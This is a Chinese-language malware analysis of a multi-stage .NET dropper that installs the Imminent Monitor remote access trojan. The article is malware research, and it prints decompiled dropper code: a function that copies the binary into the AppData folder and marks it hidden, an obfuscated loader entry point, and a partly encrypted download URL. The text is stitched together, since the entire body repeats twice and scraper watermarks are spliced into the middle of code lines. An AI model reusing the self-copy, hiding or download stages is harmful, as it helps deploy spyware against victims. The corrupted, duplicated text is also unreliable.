对DOTNET(.NET)中的恶意远程访问进程进行分析(下)
上一篇提到代码会有很多重复,因为它在每个if语句(共有五个if语句,会在下篇讲到)中都会调用一个函数。然而,细节却略有不同,其中给定的方法名称和函数的参数都会显示函数的内容。
第一个if语句在程序集中调用了一个名为okapise的函数,它提供了当前程序的位置、两个名称和一个设置为false的布尔值。据此判断,它可能会执行一个具有给定名称的文件。
第二个if语句会调用一个名为Inj的函数以及字节数组assemblyPart1、两个字符串、三个布尔值以及传递给该程序的参数。由于Inj在许多情况下是Inject的缩写,因此二进制文件可能会在一个进程中自我注入。
第三个if语句会将一个名为mb的函数与四个字符串一起调用,由于在MessageBox(消息框)中使用了术语body,title,warning和messageonce,mb可能是MessageBox(消息框)的简写。
第四个if语句调用一个名为d的函数,该函数使用内容dl和字符串作为参数。在检测dl内容时, dl通常是下载的简写,根据这个判断,该函数很可能是一个下载文件。 dl内容的一部分是经过加密的URL,如下所示。
http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0
第五个if语句会调用一个名为zalepen的函数,该函数使用内容绑定和一个字符串。由于没有可用于检测的内容,因此很难确定这个函数到底是做什么的。另外,该名称也没有提供什么实质性信息。如果字符串中包含单词bind,则意味着恶意软件可能会将自己绑定到某个运行函数上。不过,这只是猜测,库中的函数很可能提供有更多的信息。
虽然靠估计和猜测,会得出一些有价值的信息,但必定都不确定。可以肯定的是,必须对这些内容进行检测,不过这些内容在执行之前既没有被写入磁盘,而且还在执行之前已经加密了。为了解决这个问题,可以随时修改代码并停止执行。以下代码片段可用于将解密后的内容写入磁盘。
[...]
File.WriteAllBytes("assemblyPart1.exe", decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key));
File.WriteAllBytes("assemblyPart2.dll", decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key));
Environment.Exit(0);
foreach (Type type in assemblyPart2.GetTypes())
{
[...]
}
[...]
小结
加载程序——第1阶段类似,对这个阶段做个小结也非常有必要,因为存储在库中的函数在dropper的第二阶段中被调用。虽然参数位于第二阶段,而代码则在dropper的第三阶段执行:
1.根据运行环境的不同,程序的执行要么停止,要么继续;
2.将设置标记,这些标记稍后将定义在库中所执行的函数;
3.这两个参数都加载到内存中;
4.根据标记的不同,库中的给定方法会使用定义的参数执行;
加载程序——第3阶段(第1部分)
根据dnSpy,程序assemblyPart1.exe最初被命名为svchost.exe(版本0.0.0.0),其入口点为71395ebe-8ca7-4156-9647-3b87a2912a86.Method0。这个二进制文件使用了很长且没有意义的字符串进行模糊化处理,具体内容如下所示。
public static void Method0()
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(cf0a078b-f0ab-4eac-a4a1-af0a05e21cf0.0fc1c616-c282-4b8b-b753-5af00039107a.Method1);
3a3a116e-84a5-4bfc-8f21-21fbc4cece2d 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d = new 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d();
3a3a116e-84a5-4bfc-8f21-21fbc4cece2d.Method1();
}
在浏览文件时,可以看到一个我们可读的附加命名空间:Imminent-Monitor-Client-Watermark。它还包含一个恶意使用的消息,可以在下面找到。
// Imminent-Monitor-Client-Watermark
//
// Types:
//
// Please-contact-abuse@imminentmethods.net-with-the-hardware-id:-"49383d68b77c97e45701895564914fd5"-and-company-name:-"NA"-if-this-assembly-was-found-being-used-maliciously-.-This-file-was-built-using-Invisible-Mode
在访问Imminent Method网站时,可以清楚地了解到这种有效载荷的目的就是实施远程管理。在执行这个准备好的二进制文件后,可以在Imminent Method软件的控制面板中访问受害者的设备,这是RAT的核心功能。
加载程序——第3阶段(第2部分)
用dnSpy打开assemblyPart2.dll后,可以很明显看到,它是一个动态链接库(原始名称为graznataguz.dll,版本1.1.0.0),其中含有两个类。首先,可以观察到空的内部类模块。此外,还有一个名为RunLib的类,它的名称与第2阶段中选择的on相同。使用if语句和库中的函数,可以开始根据实际环境匹配所做的假设。
okapise
在第一个if语句中,函数okapise与四个参数一起被调用,反编译的函数如下所示。
public static void okapise(string location, string filename, string value, bool hide)
{
Directory.CreateDirectory(Environment.GetFolderPath(26) + "\\" + value);
string text = string.Concat(new string[]
{
Environment.GetFolderPath(26),
"\\",
value,
"\\",
filename
});
string text2 = string.Concat(new string[]
{
Environment.GetFolderPath(26),
"\\",
value,
"\\",
RunLib.RndString(5),
".xml"
});
string name = WindowsIdentity.GetCurrent().Name;
string text3 = Resources.TE;
if (!(location == text))
{
File.Copy(location, text, true);
}
bool flag = (File.GetAttributes(location) & 2) == 2;
if (hide && !flag)
{
File.SetAttributes(text, File.GetAttributes(text) | 2);
上一篇提到代码会有很多重复,因为它在每个if语句(共有五个if语句,会在下篇讲到)中都会调用一个函数。然而,细节却略有不同,其中给定的方法名称和函数的参数都会显示函数的内容。
第一个if语句在程序集中调用了一个名为okapise的函数,它提供了当前程序的位置、两个名称和一个设置为false的布尔值。据此判断,它可能会执行一个具有给定名称的文件。
第二个if语句会调用一个名为Inj的函数以及字节数组assemblyPart1、两个字符串、三个布尔值以及传递给该程序的参数。由于Inj在许多情况下是Inject的缩写,因此二进制文件可能会在一个进程中自我注入。
第三个if语句会将一个名为mb的函数与四个字符串一起调用,由于在MessageBox(消息框)中使用了术语body,title,warning和messageonce,mb可能是MessageBox(消息框)的简写。
第四个if语句调用一个名为d的函数,该函数使用内容dl和字符串作为参数。在检测dl内容时, dl通常是下载的简写,根据这个判断,该函数很可能是一个下载文件。 dl内容的一部分是经过加密的URL,如下所示。
http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0
第五个if语句会调用一个名为zalepen的函数,该函数使用内容绑定和一个字符串。由于没有可用于检测的内容,因此很难确定这个函数到底是做什么的。另外,该名称也没有提供什么实质性信息。如果字符串中包含单词bind,则意味着恶意软件可能会将自己绑定到某个运行函数上。不过,这只是猜测,库中的函数很可能提供有更多的信息。
虽然靠估计和猜测,会得出一些有价值的信息,但必定都不确定。可以肯定的是,必须对这些内容进行检测,不过这些内容在执行之前既没有被写入磁盘,而且还在执行之前已经加密了。为了解决这个问题,可以随时修改代码并停止执行。以下代码片段可用于将解密后的内容写入磁盘。
[...]
File.WriteAllBytes("assemblyPart1.exe", decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key));
File.WriteAllBytes("assemblyPart2.dll", decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key));
Environment.Exit(0);
foreach (Type type in assemblyPart2.GetTypes())
{
[...]
}
[...]
小结
加载程序——第1阶段类似,对这个阶段做个小结也非常有必要,因为存储在库中的函数在dropper的第二阶段中被调用。虽然参数位于第二阶段,而代码则在dropper的第三阶段执行:
1.根据运行环境的不同,程序的执行要么停止,要么继续;
2.将设置标记,这些标记稍后将定义在库中所执行的函数;
3.这两个参数都加载到内存中;
4.根据标记的不同,库中的给定方法会使用定义的参数执行;
copyright 无奈人生
加载程序——第3阶段(第1部分)
根据dnSpy,程序assemblyPart1.exe最初被命名为svchost.exe(版本0.0.0.0),其入口点为71395ebe-8ca7-4156-9647-3b87a2912a86.Method0。这个二进制文件使用了很长且没有意义的字符串进行模糊化处理,具体内容如下所示。
public static void Method0()
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(cf0a078b-f0ab-4eac-a4a1-af0a05e21cf0.0fc1c616-c282-4b8b-b753-5af00039107a.Method1);
3a3a116e-84a5-4bfc-8f21-21fbc4cece2d 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d = new 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d();
3a3a116e-84a5-4bfc-8f21-21fbc4cece2d.Method1();
}
在浏览文件时,可以看到一个我们可读的附加命名空间:Imminent-Monitor-Client-Watermark。它还包含一个恶意使用的消息,可以在下面找到。
// Imminent-Monitor-Client-Watermark
//
// Types:
//
// Please-contact-abuse@imminentmethods.net-with-the-hardware-id:-"49383d68b77c97e45701895564914fd5"-and-company-name:-"NA"-if-this-assembly-was-found-being-used-maliciously-.-This-file-was-built-using-Invisible-Mode copyright 无奈人生
在访问Imminent Method网站时,可以清楚地了解到这种有效载荷的目的就是实施远程管理。在执行这个准备好的二进制文件后,可以在Imminent Method软件的控制面板中访问受害者的设备,这是RAT的核心功能。
加载程序——第3阶段(第2部分)
用dnSpy打开assemblyPart2.dll后,可以很明显看到,它是一个动态链接库(原始名称为graznataguz.dll,版本1.1.0.0),其中含有两个类。首先,可以观察到空的内部类模块。此外,还有一个名为RunLib的类,它的名称与第2阶段中选择的on相同。使用if语句和库中的函数,可以开始根据实际环境匹配所做的假设。
okapise
在第一个if语句中,函数okapise与四个参数一起被调用,反编译的函数如下所示。
public static void okapise(string location, string filename, string value, bool hide)
{
Directory.CreateDirectory(Environment.GetFolderPath(26) + "\\" + value);
string text = string.Concat(new string[]
{
Environment.GetFolderPath(26),
"\\",
value,
"\\",
filename www.wnhack.com
});
string text2 = string.Concat(new string[]
{
Environment.GetFolderPath(26),
"\\",
value,
"\\",
RunLib.RndString(5),
".xml"
});
string name = WindowsIdentity.GetCurrent().Name;
string text3 = Resources.TE;
if (!(location == text))
{
File.Copy(location, text, true);
}
bool flag = (File.GetAttributes(location) & 2) == 2;
if (hide && !flag)
{
File.SetAttributes(text, File.GetAttributes(text) | 2);
www.wnhack.com